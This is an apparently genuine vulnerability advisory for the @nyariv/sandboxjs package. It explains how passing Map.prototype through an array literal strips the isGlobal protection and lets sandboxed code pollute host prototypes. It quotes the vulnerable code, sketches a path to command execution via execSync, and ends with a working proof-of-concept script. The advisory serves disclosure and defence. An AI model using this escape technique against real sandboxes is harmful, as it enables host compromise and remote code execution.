@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)

Summary

A sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the isGlobal protection flag through array literal intermediaries. When a global prototype reference (e.g., Map.prototype, Set.prototype) is placed into an array and retrieved, the isGlobal taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: execSync(obj.cmd)).

Details

Root Cause:

The sandbox implements a protection mechanism using the isGlobal flag in the Prop class to prevent modification of global objects and their prototypes. However, this taint tracking is lost when values pass through array/object literal creation.

Vulnerable Code Path src/executor.ts(L559-L571):

addOps(LispType.CreateArray, (exec, done, ticks, a, b: Lisp[], obj, context, scope) => {
  const items = (b as LispItem[])
    .map((item) => {
      if (item instanceof SpreadArray) {
        return [...item.item];
      } else {
        return item;
      }
    })
    .flat()
    .map((item) => valueOrProp(item, context));  // <- isGlobal flag lost here
  done(undefined, items);
});

Exploitation Flow:

Sandboxed code: const m=[Map.prototype][0]
              ↓
Array creation: isGlobal taint stripped via valueOrProp()
              ↓
Prototype mutation: m.cmd='id' (host prototype polluted)
              ↓
Host-side impact: new Map().cmd === 'id' (persistent)
              ↓
RCE (application-dependent): host code calls execSync(obj.cmd)

Protection Bypass Location src/utils.ts(L380-L385):

set(key: string, val: unknown) {
  // ...
  if (prop.isGlobal) {  // <- This check is bypassed
    throw new SandboxError(`Cannot override global variable '${key}'`);
  }
  (prop.context as any)[prop.prop] = val;
  return prop;
}

When the prototype is accessed via array retrieval, the isGlobal flag is no longer set, so this protection is never triggered.

PoC

Prototype pollution via array intermediary:

const Sandbox = require('@nyariv/sandboxjs').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const arr=[Map.prototype];
  const p=arr[0];
  p.polluted='pwned';
  return 'done';
`)().run();

console.log('polluted' in ({}), new Map().polluted);